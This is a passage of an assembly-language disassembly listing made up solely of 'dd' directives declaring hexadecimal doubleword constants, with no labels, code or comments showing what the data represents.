		dd 0F4E067E2h, 690A1DE3h, 24AE7426h, 9861C00Ah,	0C827A44h
		dd 0D11048CDh, 0F4AF1772h, 0A09000F1h, 0C3D622D0h, 5824D091h
		dd 14029C85h, 0FE59E063h, 3F05B051h, 6D00B33Fh,	4AD46203h
		dd 6C00E8DBh, 0A43A8D90h, 13CE0FCBh, 224C075Ch,	48A89D58h
		dd 0B8CD14B4h, 20D47684h, 9BAFFACh, 5C8E5692h, 7587D490h
		dd 0C5C3F804h, 5CC2701Fh, 1000C2DAh, 7F5968Ch, 99C406ECh
		dd 70A7B7F7h, 4970A4B6h, 0B700A0B1h, 9E1B6907h,	573A009Ah
		dd 88199FBCh, 0CC9830D2h, 52E24C16h, 72485492h,	0F42C002Ch
		dd 0AC24D262h, 0D0002D84h, 8F5ECB1Eh, 10FAB70h,	4CFB7608h
		dd 3832F7F9h, 0A009037Ch, 0C0890B6Fh, 2C708C6Eh, 1870C951h
		dd 9FE761F4h, 93624200h, 0EFF96654h, 2D1DF04Ah,	2809436Fh
		dd 0D57B6000h, 1F12DDF6h, 7D042ABCh, 7CC046F8h,	0B4FBD0DAh
		dd 477180F0h, 3FB0560Ah, 521D8309h, 0D2480408h,	57BAD540h
		dd 75223A14h, 5CD8908Ch, 72C84CDBh, 0BC5D29BEh,	5C0D1B2Ch
		dd 84E230DCh, 0B566A90h, 0BC98781Ch, 0D18870CCh, 403CBCE1h
		dd 0D478FA7Dh, 608EEC26h, 94F50D00h, 0BC73F6D8h, 0CB9F4004h
		dd 0D3002A1Dh, 51870ED7h, 9C3A19Eh, 0B4B7470Ch,	0A831500Bh
		dd 6DEA10D0h, 32BC1EF0h, 60A0ECF7h, 0C9EF9A50h,	204FC725h
		dd 0A3F5B574h, 4B350146h, 9B756D59h, 48A2E20Ch,	7CECD6EFh
		dd 516C5C0Bh, 7D9C0071h, 0BED06D24h, 5F91C024h,	6C00FD96h
		dd 0B723D673h, 13C8E3D2h, 804CA259h, 32DFF944h,	0F827DA1Eh
		dd 41310320h, 5A64A8C2h, 5829DCE8h, 740114B8h, 0FA4EE623h
		dd 0C8E00309h, 57410083h, 0F0DA8639h, 0E900BEA8h, 0B770B922h
		dd 34522Dh, 0FA74CB0Ah,	87C39860h, 0E564105h, 0D442E9F8h
		dd 0E0547C28h, 3EC694CFh, 9E1C7AE0h, 0F09D5403h, 5C754E00h
		dd 0F236E64Bh, 0DC00549Ch, 2A6CDD9Eh, 4168BEA6h, 32F81276h
		dd 581D01F4h, 9F836C4Dh, 0A3169444h, 4AF03049h,	4174C16Ch
		dd 0C87C7811h, 490E924h, 0E74064B6h, 4EE086D6h,	0B293F0E8h
		dd 0AE65EC04h, 3C945FC3h, 0E10CA0A2h, 6E11406Fh, 24A925FAh
		dd 1C61E8D2h, 4400817Dh, 5CC2C0FAh, 0EDFB28Ah, 0C7EB277Ch
		dd 66114CB4h, 0F9EA1B4Ch, 0E77BE161h, 5D869C50h, 70A1022Fh
		dd 0E0D13EA2h, 0A752E490h, 0E80FF218h, 18DB479h, 54036A4Dh
		dd 0F0A4201Eh, 1B5DB868h, 7FC61190h, 288651Dh, 0C23F4873h
		dd 8600C04Eh, 76872E84h, 29A363Bh, 14959941h, 9189CD58h
		dd 0E2DEC004h, 78AE0078h, 41D20217h, 57B105D0h,	0F2E1DFA6h
		dd 5FD05078h, 388CE744h, 0B50135C1h, 0E078C7A7h, 0E3A08040h
		dd 3D77D6Dh, 74521669h,	35443292h, 0E8001E04h, 0E7842079h
		dd 70F64Fh, 146F1726h, 0C8FDA408h, 848005C9h, 0F858B8E2h
		dd 74C67502h, 46D91F1Ch, 0B0B10484h, 0C09E9DEAh, 0DAE420C0h
		dd 0E40460D6h, 680B935Bh, 0A0FDEC02h, 673A386Ch, 0B2DB0F32h
		dd 9F4A80BCh, 0B94871A7h, 6BE30164h, 64BF61F0h,	0C028D618h
		dd 50A4587Bh, 0C4EB7C00h, 80F82F42h, 2147CD7h, 5BF46930h
		dd 98524421h, 9140D0B9h, 14CB60A7h, 8C286DC5h, 42227894h
		dd 0B5FFD912h, 0C549E401h, 70546F71h, 90208Ch, 9605ADC9h
		dd 9329DDBCh, 974D0105h, 64C84948h, 3242000Ch, 0B7AAE436h
		dd 277725B1h, 841D062Eh
		dd 4D3D5700h, 0EC65D11Ah, 28AC0387h, 0DC5D5560h, 246FBC91h
		dd 18165CCCh, 0E4D00F13h, 0B8439D12h, 86FC25h, 3CD5F65h
		dd 0BB2B3A4Ah, 0F1E83900h, 0DD2F6772h, 40E0BE2Ah, 0A2D866CCh
		dd 76F7F00Fh, 0E3A6A0C9h, 0B2F5C08h, 0A14CBB33h, 2769690Eh
		dd 0C51418C8h, 37112C00h, 5C5EA46Bh, 49090040h,	31B357A0h
		dd 0FD00EDA2h, 7E2DB9D1h, 86AF94Eh, 0EBAEC5DBh,	56D0F200h
		dd 0F88A2EACh, 5980FD27h, 0AF9A1194h, 72099242h, 0A7B47Ch
		dd 0A1882994h, 0EC1895FFh, 0B1009216h, 31D60C4Dh, 7752290h
		dd 368FAD74h, 6E411042h, 494B8711h, 0E0B46840h,	50AD9ACFh
		dd 58DCEBE4h, 0A18058FBh, 0CB9746B2h, 77C960Eh,	1034807Fh
		dd 1375AC0Ch, 0FEDA878h, 9E8B8674h, 6C64A48Fh, 0AB04A0F3h
		dd 58BC9A04h, 10ADF820h, 80022F00h, 88274CA5h, 48A7E8E3h
		dd 5F931D00h, 0DC528714h, 0B9E023h, 0E0DDD3D5h,	46331F70h
		dd 0E762C900h, 301798C0h, 20905AFDh, 0DFFE078h,	7694DC00h
		dd 4F400EA9h, 0B2F80111h, 218E720Ah, 8F3B6095h,	13999200h
		dd 0D7756F01h, 20864F51h, 0DA4FABFCh, 0D080E8B8h, 0D49CECC9h
		dd 6EF0FF47h, 4F4D937h,	0C49D58B1h, 75F8A0CCh, 0C04C08F7h
		dd 0C5A90731h, 0F23CBFB6h, 0F4E909EBh, 5054AA78h, 1443F824h
		dd 7C558074h, 0AA190A93h, 0FDE52DCh, 0F8C96ABAh, 0BF20C090h
		dd 1F21532Ch, 0C0D06900h, 1F0490AAh, 57E24824h,	0EE4C5DB3h
		dd 98C74004h, 0A7008B52h, 6E1391F0h, 5D475Fh, 4A529C2h
		dd 0BEEEB7B9h, 931CAD13h, 8586C501h, 4D708B69h,	7BCF24A1h
		dd 411F412Ch, 74989638h, 89F9A888h, 61FB309Fh, 0FA5726h
		dd 0F0845C17h, 45F1A004h, 0D841D8F1h, 19D4F34Bh, 0D52702BFh
		dd 72809013h, 9B009879h, 204D2C11h, 0F4F672FBh,	138375AEh
		dd 447AB953h, 56DFF154h, 7032D413h, 0A47610FFh,	4016F4Fh
		dd 42777B40h, 5CD5F064h, 81DD7C74h, 0BDE78825h,	58D042B9h
		dd 8CB4FC24h, 15C50011h, 0C954363h, 88003238h, 0E81235FFh
		dd 308EDE1Ah, 68E0A779h, 0AA50D785h, 0DE24048h,	466FD616h
		dd 88D0E088h, 2B0EB3E3h, 0A0DF64FAh, 4052048Ah,	0C00C00A4h
		dd 0BDD24553h, 504B2085h, 0F9A264C3h, 4C2062C5h, 96C098C8h
		dd 34EA962Ch, 9DB8BCF8h, 7DCCBDC0h, 0C2458D4h, 3317F8C4h
		dd 0FF02A008h, 0C9C76FB6h, 990F10Fh, 0DFB469h, 0E0923D3Ch
		dd 0BE6A4h, 544FEA49h, 551DC89h, 2938C8B8h, 77C200FCh
		dd 0CDDFAF5Bh, 9DF87088h, 17F44411h, 0AC5220C0h, 6D08C0BAh
		dd 58E5D343h, 460FB30Eh, 0E89040CFh, 0B3B0E49h,	447A8E59h
		dd 85DA744Bh, 0A5E84B20h, 0B5E2F1h, 87BF94DEh, 0BC0AE061h
		dd 2777F3Ah, 2081FF5Eh,	0AE64E04Ah, 0F7E7401Ch,	0A049322Dh
		dd 28D555B0h, 0FFDA000Ah, 0D188DEC0h, 0F2485FD7h, 96D31018h
		dd 89411DC6h, 8EFFB301h, 26AA0257h, 14D86FE1h, 0D8BC0001h
		dd 9D0F7EACh, 2C0A5011h, 0B017C3A7h, 0A398900h,	0FA59D347h
		dd 975C0ACBh, 43D427DEh, 2EB09EC6h, 361D4C2Fh, 0C78C8D0Ah
		dd 28EF88CFh, 0CAE4CD05h, 0A6883E88h, 7D0804F4h, 6F8D4194h
		dd 0D0605D4Bh, 64245FD0h, 0B68C8C48h, 770C600h,	6BED6478h
		dd 55DD007Bh, 0B5DFE854h, 0A05ED63Eh, 416A3408h, 0E0267365h
		dd 15E778Eh, 0C94D0870h, 138400C3h, 616D8007h, 0F40439B3h
		dd 0B6B9D9F5h, 79F86C82h, 0BAC20060h, 5B412007h, 8A0AEF0h
		dd 0FF0181A5h, 15D1AB08h, 880DBB6h, 45B15CADh, 0E000440Ch
		dd 9F4BBB7Dh, 3C75C54Dh, 0AAB71FC2h, 82A49028h,	2A00342Fh
		dd 8A7A46ABh, 74DE0E5Fh, 0AD8D20DBh, 0CF02041Ah, 0CCA96059h
		dd 6704B859h, 0D03E2016h, 17D23A6h, 0C92F4A00h,	0EEC4C324h
		dd 0F2E5E8F9h, 614E01FCh, 387D8A8Ch, 0EB31C4C6h, 6D19B107h
		dd 1C41D313h, 19C35BA4h, 684DB571h, 151180FDh, 0D43E794Eh
		dd 473100AFh, 0CE052EB8h, 0DC00BD4Bh, 0D6998130h, 0EEBBFF23h
		dd 391A6190h, 80B75B96h, 7A0233B9h, 1F2E8B31h, 0C09D300Eh
		dd 448A7611h, 7930B712h, 0CB0528DEh, 62F9006Ah,	0AE9BDA5Fh
		dd 3B3DB647h, 9C658C42h, 0AA515Dh, 342DB7CDh, 359D1FCBh
		dd 31885B54h, 0A0B60E18h, 0EE740F29h, 3ABEFA28h, 0D9800BCEh
		dd 143F7323h, 0BF1865D6h, 9CB107B9h, 0E5FC00CBh, 63F6D7CCh
		dd 0A100F8C2h, 0FDAD128Fh, 0A0339307h, 1F90D3D0h, 67CF426h
		dd 416255DBh, 4E032A07h, 0BD03C21Eh, 19BEB8h, 0B39A7BBEh
		dd 586B5BD8h, 80DE893Fh, 0E6AC807Eh, 796C0531h,	317D60E2h
		dd 0B05B9247h, 82EF1D14h, 0A46629B9h, 48C8A907h, 759F151h
		dd 2ADB62F4h, 30D49E83h, 0F029DDB6h, 5D90DF55h,	4FE54600h
		dd 0DAE889CAh, 927F85Fh, 1ED3A7AEh, 0C6C95C10h,	0CEB4BC00h
		dd 0C48A9FA2h, 5E7D000Ch, 179005EBh, 0B852EDADh, 0BE4B0E94h
		dd 293600ACh, 79012Dh, 6956CD2Bh, 92ED78B7h, 5420E20Fh
		dd 0DAFEE011h, 1C89A73h, 0DB9B0EF8h, 30077BEBh,	2AE290DEh
		dd 597FB931h, 75C05D1Ch, 0BCCD0009h, 3F1897B5h,	0F112FED2h
		dd 2C2096D6h, 488EC55Eh, 488758B9h, 0A66B0236h,	0DEB6540h
		dd 0CA784000h, 0CF584DE3h, 9083541Eh, 61901DECh, 0D44A80C2h
		dd 4EA053B8h, 94E93114h, 42DD00B4h, 9B3504EAh, 0D67489h
		dd 6E178DA9h, 91BC9363h, 0B8420D00h, 121BF982h,	0E4AF7747h
		dd 0CAAA1E90h, 0C0BC9505h, 1751DB0Ch, 46EA11A1h, 86F5901h
		dd 9498DABDh, 299C918Dh, 0ACC4E031h, 511D1606h,	219A3Ch
		dd 0FCD20518h, 0FF2DD6E9h, 0DAD70904h, 20CC95FEh, 69166050h
		dd 51AB35B6h, 26DB10C3h, 4190A02h, 144CBD1Ch, 317C1854h
		dd 1119A214h, 5ED410E2h, 0B82500EAh, 959649E7h,	0D700CFB7h
		dd 88343EBAh, 3FB4783h,	9C16042Fh, 0C13BD333h, 0B500F031h
		dd 0B44F3D26h, 92825F84h, 0B1816F34h, 6E113CC0h, 41070149h
		dd 7E23D5E5h, 0D0C68BC0h, 28109008h, 74507D5Ch,	34018918h
		dd 288880Ch, 0D6833B27h, 4D7CEE07h, 0F6C14C12h,	96C42303h
		dd 90D1CB64h, 20647B1h,	839AF921h, 286130E1h, 2E9CCC58h
		dd 0A3D93802h, 908B6C4Eh, 0E6FE8Ch, 187A0A5Fh, 450ED5F7h
		dd 0E9CFF474h, 6F0100D0h, 4D5997F2h, 5783CCB7h,	2900A713h
		dd 0A17E224Eh, 5805466h, 0A20E649Eh, 31C037DAh,	5459034Eh
		dd 513CC664h, 3AD3C300h, 1F25039Eh, 0CAF23EBDh,	0C838A706h
		dd 0C9004060h, 0B32B4DB6h, 0C0DAB0CDh, 77B87539h, 0F300F941h
		dd 0D7E038C4h, 1B3E4C9h, 584E73AAh, 409DBF5Dh, 0A44BB5CCh
		dd 0B0485C50h, 10E2A4A1h, 0C9312Eh, 2928BBB5h, 0B7A36853h
		dd 54243600h, 3A936C69h, 0F8426011h, 493190CEh,	89E8DF30h
		dd 0F5C958AAh, 1C8166D0h, 0D5DB8F80h, 0A530E8AEh, 0C9897B88h
		dd 0C0A6B680h, 8AE16E39h, 3B0EA891h, 20205AF5h,	762CB4E0h
		dd 9C100390h, 0D9B7247Bh, 3C813113h, 768C4900h,	0FD3522h
		dd 53F15EBEh, 89E1BFA8h, 0C34E5100h, 9C421266h,	0E1596435h
		dd 783CC8B8h, 233CD000h, 3A943DCFh, 2A3B0068h, 0C4C11A56h
		dd 34FF9ADAh, 993E9194h, 0C6F90751h, 9520FA39h,	6D325h
		dd 2E60C135h, 0CCBD101Eh, 1B916800h, 97A5039Bh,	4B85385Ah
		dd 0C529DA00h, 70EB93CFh, 94A35F00h, 41DF12C9h,	0F3091D0h
		dd 0F52802C3h, 7E0804CBh, 8B12D21h, 1A810531h, 8009E21Eh
		dd 9A6BB898h, 0A11829C4h, 61DD1146h, 31EDD200h,	0DE5AFF54h
		dd 0B0EE085h, 4626A256h, 20F5E087h, 0B4E809EFh,	0FC76E8A1h
		dd 51009F18h, 3FAAC028h
		dd 5CECFE48h, 5F025437h, 0F72E7AE2h, 313C9044h,	0EA390EB6h
		dd 30CB42A8h, 41E162B7h, 7C73807Ch, 473C5524h, 30EC009Bh
		dd 6D06A6E2h, 641904DEh, 0A0203B9h, 0BD369C63h,	8B86118h
		dd 39ED7739h, 1A80AF6Eh, 880FB601h, 633DA8F2h, 996A805Fh
		dd 0C518AF6h, 0D1021CC7h, 30F0026Dh, 0DCC0E352h, 0E80AE37h
		dd 0DAFA1CD2h, 0A1B5D997h, 9C1FD459h, 37ABB1C0h, 0F51860h
		dd 0B9A319D5h, 890DF8B8h, 52313300h, 0F253DBE6h, 1104B0ACh
		dd 3BA7B70Eh, 0E2590097h, 600D4B96h, 0FE3200A5h, 56A23F24h
		dd 8414E193h, 11F0EE52h, 44759A1Ch, 0A66011DEh,	0D2ED96F9h
		dd 928100CCh, 0B00A5A17h, 31523C9Ch, 1051EBCh, 27D139B7h
		dd 0DA81512Dh, 0A89F4ECh, 19A442B5h, 611618A4h,	6062B734h
		dd 0E765E602h, 0E88B4C2Fh, 4FC15482h, 847D3842h, 4E80B9F6h
		dd 4997DB89h, 0A5065416h, 98900DA8h, 4ADAE544h,	549028FDh
		dd 19E1CA00h, 0CC03B9FBh, 4F3E836h, 5627082h, 0FC1F5202h
		dd 8C99B00Ah, 84BC1A88h, 1F1759DBh, 29225C25h, 331F80A0h
		dd 0BF4FCA02h, 5055DA19h, 0FC30B541h, 48B70ACFh, 18CAE8h
		dd 2E03312Fh, 79C0A8CEh, 0B29E9AEh, 0C84730B7h,	0CF308928h
		dd 880724F2h, 0E89E713Ch, 0DAF21AF0h, 0B6962C99h, 0D33788E8h
		dd 789128A8h, 0F8B8980h, 2D934A3h, 855E4F0Dh, 0C461ADBFh
		dd 49DAC104h, 7020D6F8h, 5AF24Bh, 0F947A2D8h, 0B7565CD5h
		dd 0CBFF2302h, 0E181C158h, 8861500Ch, 5E9C698Bh, 4EB6C818h
		dd 0D98AA400h, 0AF2C9A48h, 28E43E16h, 7160B53Eh, 6F58D6A1h
		dd 0C3051A00h, 9683EF6Bh, 0B9403C20h, 1FF3B0D4h, 49101D6Ch
		dd 0D68067E3h, 0A4511934h, 2ACDE403h, 0D845DEB7h, 38D2EBE5h
		dd 0D69A81B9h, 84C1985Eh, 87B5137Ch, 4F2C2700h,	8B780506h
		dd 0CC26DA92h, 9D4E4E94h, 400053E8h, 122EB741h,	5800A993h
		dd 1D1F50DFh, 6AC0B9Fh,	0D75101F6h, 2E1A111Eh, 0E42992EAh
		dd 7EBA3ABCh, 0EF0FC80Eh, 0A8234A60h, 0F000DF39h, 0B32965DEh
		dd 5314A4h, 0BB30A71Fh,	0E5463C19h, 20BC9700h, 0D1EE4DE3h
		dd 6254F09Ah, 9329115Ah, 2F051481h, 7C432B2h, 436DCA24h
		dd 89DDB9B1h, 9B806C28h, 1F5D901Ch, 4C4E500h, 0E293452Ah
		dd 0B094B2B2h, 0CC8B516Ch, 4A00E072h, 612C2E71h, 9102A731h
		dd 0EFCDE5D5h, 29CC3DBh, 343D459h, 24E05729h, 0B630FACFh
		dd 0BE2A41DFh, 0BAB3011Eh, 6140241Ah, 14CC34A5h, 0B0CB8900h
		dd 0E3B49733h, 2635F8D5h, 0C8111Dh, 7D79D231h, 0BD0059ABh
		dd 0EC961ACh, 3D192603h, 0B81A0816h, 0D4808106h, 0F26C9573h
		dd 3715C700h, 33328E93h, 56360AE9h, 9481805h, 4125ADBh
		dd 10ABF041h, 22B555Fh,	2AD3A00Ch, 0B8C1EB1Bh, 0F3A6102Fh
		dd 9F372454h, 0B6BC0894h, 9B7AB40h, 6AE9077Ch, 110E50E7h
		dd 0F7C6F5E1h, 72B036B3h, 8902C9F0h, 1181205Eh,	498C48DBh
		dd 8C1A0080h, 2EBC61BFh, 3C3F9674h, 0E7BE14F2h,	0CE8F418Eh
		dd 2A002C50h, 26736EA0h, 0A0A6813Ch, 14E8FBE4h,	0B87CE02Eh
		dd 365BBDC1h, 2F7760CFh, 0BEA12D38h, 0DB19090Eh, 9CD848FFh
		dd 89DC6132h, 22B6B731h, 5A5000C4h, 9E1A5490h, 1CF02DDh
		dd 37F922A2h, 30B4F840h, 0AC21934Eh, 0A08B5BCh,	0C4603281h
		dd 18CB9B6h, 0BC9F0308h, 0A2B1F458h, 5484A300h,	2C5D34C2h
		dd 0A1B40F59h, 31981B05h, 0C8B2EF11h, 9600B6F8h, 8BAEFC65h
		dd 2CE34083h, 0E8EDA0h,	846C0EE0h, 9E0935C2h, 0C0141A05h
		dd 5278ADCh, 555848C4h,	1ED84623h, 65EAF997h, 8D05A6ECh
		dd 0D808C9DBh, 93672008h, 3DE02111h, 6B3E8AF2h,	0B109AA99h
		dd 1D3C0007h, 91B31405h, 343880B8h, 4E186742h, 72B99300h
		dd 15C908C7h, 0E8122E6Bh, 0D8051588h, 0DB604D80h, 8E74B8CCh
		dd 9F9C964Ch, 45073ACFh, 0A881736Bh, 0A432125Eh, 20BD8F00h
		dd 9C899A43h, 39596705h, 78C8F02Fh, 40214B50h, 0F5CF14D8h
		dd 0A77416B2h, 1D2DB607h, 0E3039CC0h, 0A4581230h, 0A70CB58h
		dd 9882DAAEh, 7488B645h, 16B7E5Fh, 0D6550722h, 55F0359Eh
		dd 9D940CD4h, 58A84D31h, 5602FC14h, 1AF184C6h, 4134498Bh
		dd 30D448h, 97B5E7D4h, 45CF3FF6h, 3616B700h, 0BD0789D5h
		dd 36079531h, 9935C166h, 500C3328h, 9776B888h, 4FECA4E6h
		dd 0A64A9313h, 90116432h, 7702E8Ch, 836B1866h, 1B6C471Ah
		dd 7F5E0802h, 0D1309B13h, 6120E7F8h, 949C78B7h,	90B89254h
		dd 0AFF5ED78h, 5605BE05h, 0D013246Fh, 2EDC80C8h, 747DB07h
		dd 0A0FDE09Fh, 8F6786C2h, 7AA57901h, 0EA805919h, 0AB0C9841h
		dd 0FB389100h, 0AB841C6h, 17F80069h, 0B9E2FE95h, 857A48DBh
		dd 4AD5DA00h, 0FB1D9AACh, 2FED07BDh, 5BD6D9FFh,	701E0009h
		dd 89020242h, 5B9D0F3Eh, 0D9F2C0ACh, 0C901A07Ch, 65B60281h
		dd 0A0209B70h, 53A8A026h, 0F91A8860h, 0BC9E86F8h, 0EAB58Bh
		dd 71F747E3h, 0CBE600CEh, 0E50A82F1h, 3000342Dh, 0B7369B46h
		dd 1F216CAAh, 641316B3h, 6E1B1E44h, 0F90D9A7Ch,	8F8A5C80h
		dd 0AE3C527Ch, 8BD918F7h, 16B79811h, 0CC160536h, 89DE813Ch
		dd 7960C426h, 0EAD3D6h,	10D5B316h, 65DE227h, 0DD782301h
		dd 0FE81B44Eh, 9803985h, 6058D4D7h, 0E89D2724h,	1CB19500h
		dd 18EB8805h, 0F4FC01A4h, 2616A523h, 460F2C5h, 9D601FC4h
		dd 0CB81F341h, 53560099h, 879C62D2h, 0C5000AE3h, 0DE4ADD2Eh
		dd 0C793E941h, 0C0D75044h, 0A44610BCh, 1F910800h, 0DA10398h
		dd 0C12A005Fh, 4A4FDA32h, 622442FFh, 0BC1FC71Dh, 19D3ED40h
		dd 1DA43B5h, 0A6CA9529h, 0E817C79Ah, 1F483E94h,	0E5DE80DCh
		dd 2F110E6h, 8C347C70h,	48E4B98Ah, 0A0F71500h, 16455DBCh
		dd 75BF054Ch, 14A6AB37h, 0D0807CCCh, 26A002D8h,	2007258h
		dd 249C1A92h, 0FF5844E1h, 5FC24210h, 2CA25402h,	40F104A4h
		dd 1FED253h, 8D9128Ah, 9FD8119Bh, 1E4F5659h, 0E9A18062h
		dd 5F2A30h, 0DFABB293h,	7A05AA91h, 9258457Bh, 1B048434h
		dd 0F4CA50CCh, 26D624F9h, 1429154Ch, 0DAC0F448h, 2035EBD2h
		dd 9D88651Ch, 7EACB6C0h, 15F8D7C9h, 8F5443Eh, 124C2609h
		dd 0C33B7848h, 0E176CE00h, 49CB21C7h, 4E404C46h, 0D8B6FB0Bh
		dd 1007C809h, 98249834h, 457C9411h, 51F8605Bh, 0DB061A16h
		dd 575E2881h, 0D9451608h, 12FF6842h, 0B70F0C58h, 2F937B4Dh
		dd 0B4B241EEh, 6831F14Eh, 39960464h, 0B6246D2Eh, 5786605Ch
		dd 740061DFh, 0B2EED420h, 751F0DBDh, 9C991224h,	0B7FC3033h
		dd 270B8B4Eh, 10124435h, 637BB8h, 0EEA5B5CEh, 1C64AE78h
		dd 0FCF35200h, 9724CA01h, 62250DFFh, 8F26B631h,	60D9B779h
		dd 9008EFA7h, 0D46401CFh, 0FD118783h, 2C50DCA3h, 13348A14h
		dd 693E34h, 7A0D1DE9h, 1AE9B64h, 534FCD98h, 0FCDEFD5Eh
		dd 635C5102h, 2CBF0063h, 2A4E609Eh, 0B4F4A4BAh,	781691C4h
		dd 0D5D73102h, 0D2134DB0h, 0A1C60F1Ch, 0F5209391h, 8B6D0A39h
		dd 0D569971Ch, 54A62200h, 2973F23Eh, 0C0FCDBh, 3DC98A33h
		dd 0D57DD6DAh, 1823EC38h, 0C10D9FDh, 123C035Eh,	4229997Ah
		dd 9E61081Ch, 5DA45643h, 1E492709h, 9228D820h, 0F90048AFh
		dd 0BC1FD020h, 0DDD2C1h, 0AB21732Fh, 311D3E52h,	2423000h
		dd 1913D6Dh, 4333031Fh,	0C360B0AAh, 0A4473E80h,	0C8D85E58h
		dd 0FCE4816h, 1BEB0283h, 3C28348Ah, 58AB0A10h, 0ACEBC0C4h
		dd 0A0DC1022h, 7F72BBh,	1380FDAFh, 0DAB7A8FAh, 91192727h
		dd 0B8380284h, 0C0CA061Fh
		dd 0FD70FC2Eh, 4CB871D3h, 0F38CF21h, 0EFA04361h, 8B25F0DFh
		dd 8C40B94Fh, 0F9AC845Ah, 0F6E0036h, 0B5DE6AE1h, 17070B76h
		dd 0C94A9411h, 1601ECEAh, 0AFCFF5DFh, 39AED980h, 6461724h
		dd 1EB40A4Ch, 0A0271436h, 0DAE46C18h, 7F18A098h, 60EF841h
		dd 99DB12D2h, 913C1925h, 1904046Dh, 6CE6DE63h, 1BD4DD02h
		dd 5BE09867h, 57001EA4h, 0C30DF0D1h, 0C4A1369Eh, 0E4FDDA71h
		dd 6D04A6A0h, 1190587h,	1D30E088h, 0E7267CFh, 0A0399081h
		dd 2D303D03h, 95C4A011h, 0E4C9DAh, 49B6C5F6h, 0F05AD7B1h
		dd 0CBE830D0h, 308800AEh, 187EA73Dh, 8994614Eh,	0BF0B16D1h
		dd 481F45Fh, 2035E60h, 0C9E1CC2Ch, 6CC5F2CEh, 1F54B12Fh
		dd 0C0000C22h, 2E4DBC46h, 6F05E69Ah, 0C4AD2980h, 87D6CA80h
		dd 0AFEA00B7h, 51A82D5Ch, 5A371A05h, 238048CBh,	0F60E5049h
		dd 0A98212D4h, 8F84002Dh, 14A09737h, 0C0B419D0h, 12538E5Bh
		dd 972600DCh, 3D997646h, 472F2C83h, 3108A066h, 5AAEAF64h
		dd 42E809E7h, 25D05068h, 1C58DF4Ah, 99AD610h, 4DAE28A1h
		dd 417C3804h, 0CE4FE7DEh, 0C02BDAF7h, 0B1124EC1h, 0CC8E093Ch
		dd 0DB2D6680h, 0E2034232h, 17C54F40h, 9C2810B0h, 0E8310016h
		dd 6DFEEFB5h, 30AC2D75h, 77AB8C80h, 500BAD58h, 52F9C3Fh
		dd 0DC80EE81h, 28CBB697h, 1E47655h, 620681C0h, 299FFDDBh
		dd 13218Ch, 0E0F82D16h,	79001B06h, 8F2A5E88h, 0B799D68Ah
		dd 0B6E8F4D0h, 22E0A949h, 0BCBB00B1h, 3E2395E6h, 0F4909DECh
		dd 30C0D400h, 0D019AE86h, 0DDB7002Dh, 58FF366Ch, 8271DB63h
		dd 0F24AA53h, 6053F227h, 2089E62Eh, 9E2F099Bh, 4900C4CCh
		dd 29517030h, 1611CF60h, 0B1736E3h, 0AEE9B6BDh,	4FC7C040h
		dd 38FF58E8h, 3189A0A4h, 7420951Fh, 9F178DC9h, 7854C000h
		dd 58B98EC3h, 0FCC5486Bh, 0D5F26F81h, 0BAF0894h, 88B7122Ah
		dd 72387841h, 0B4A80048h, 0DC7E8D6Ah, 5A100017h, 70B08BDBh
		dd 950E6B05h, 12EB5D1h,	6584E623h, 65CC820h, 64053E8Ah
		dd 0A7001019h, 0FC215F90h, 95D55DBh, 1FCAAA93h,	0D6DC9810h
		dd 1223881Ch, 0C4E1F358h, 48137496h, 0DE2284CBh, 0C4CB189Eh
		dd 85EC04h, 0BFA3AEDDh,	0B28C3DBEh, 2C336100h, 12060E30h
		dd 2C34E508h, 9C944483h, 0C088314Ah, 8607249Eh,	0C7160078h
		dd 31DF0EF5h, 6E97B117h, 0B929C490h, 81FC881Ah,	8CC0C95h
		dd 1980E1B8h, 608284ECh, 0E901B4E5h, 9322DC2Ch,	209774A2h
		dd 8AEC0958h, 64ACA019h, 93279DF2h, 83842038h, 1FE8B7B9h
		dd 4C4E78D6h, 5241612Eh, 887B8680h, 0F700A284h,	0F43BA05Fh
		dd 483025C6h, 9216546Ch, 5281F88h, 0F2141EF5h, 64D700B4h
		dd 0A05880E2h, 49B00078h, 0FC2CAA5h, 71D0B47h, 93C21975h
		dd 0C067318Eh, 4EC127E2h, 594C40B0h, 0E51DB34Ch, 2F05300Ch
		dd 0EC8A19B6h, 909119AFh, 0DC2A787Ah, 8996CDFh,	7D8B2B89h
		dd 0E26B5E80h, 4104172Ch, 0F6F75B3Dh, 7D908C3h,	2879ED29h
		dd 0DAF90B8h, 9727BC5Ah, 317CA1A1h, 0F6D479DAh,	47210259h
		dd 9997DB8Bh, 0E93BECA0h, 2E007F9Eh, 0BD570BEDh, 99C30C3h
		dd 9BA64B35h, 0F0E8D0C1h, 2BF9AEC9h, 7890E416h,	4364Ch
		dd 3E30BA59h, 9DEDCBE0h, 8F83483Ah, 621151F6h, 4B7D55A4h
		dd 37F7C760h, 0CEBC669Bh, 8724F1F8h, 0DB1E82FCh, 408C3063h
		dd 0A5979D4Dh, 9FD899AEh, 0AC35C0A1h, 69B8A8Eh,	7D92600Eh
		dd 0B6522031h, 94E855DAh, 961E0CB4h, 4A00C7E9h,	0E181D61h
		dd 489C4E01h, 0C9836837h, 383EA052h, 0E8B5401Bh, 5F0992Ah
		dd 0A4B72B27h, 6C00AE40h, 0B6EE1D78h, 0CE0386Bh, 1868B29Dh
		dd 0E180B880h, 1048098h, 0DB84C49Eh, 50E41826h,	0BC6F2C4Eh
		dd 0B09012D4h, 5932DBC8h, 441E2101h, 97F002BCh,	6410B889h
		dd 8B0BEC56h, 33A03051h, 473188D0h, 340260EEh, 0F5C5ACB7h
		dd 1CC56B1h, 22433BB5h,	0BEF840A1h, 0B4014F0Bh,	30467A05h
		dd 54611A92h, 4CF0202Eh, 0B5000BA0h, 172765CEh,	364A5B7h
		dd 0BC1AD326h, 0E082E9DCh, 0B1826843h, 84924C22h, 74A8B43Ch
		dd 76CB8CAh, 0C0EFE9C9h, 80AE81EBh, 8793F01Eh, 2A4FD9C3h
		dd 58249B9Fh, 2C4050F4h, 54BFA06Ch, 8AA50536h, 8D3BD07h
		dd 0EB807C2Ch, 0B489EE54h, 969B095Bh, 2E0EF920h, 21C7A0E0h
		dd 0C505ED7Fh, 0A9AD7886h, 0A300D887h, 309CB629h, 3351DF58h
		dd 9900C481h, 0D6FFD130h, 0B191B728h, 0B1842804h, 0E2B01264h
		dd 0BB760040h, 0A4ED6510h, 29900096h, 0ABFB9ADBh, 0B74F15CAh
		dd 46217C41h, 0F7E836EAh, 77F2195Ch, 0BAB4DE1Bh, 0CBB08528h
		dd 94E4B6B5h, 965903D8h, 8DE53382h, 77753680h, 4C50848h
		dd 0F7B68A81h, 9486A8A0h, 3A7D80ECh, 0E3E616BAh, 4356A200h
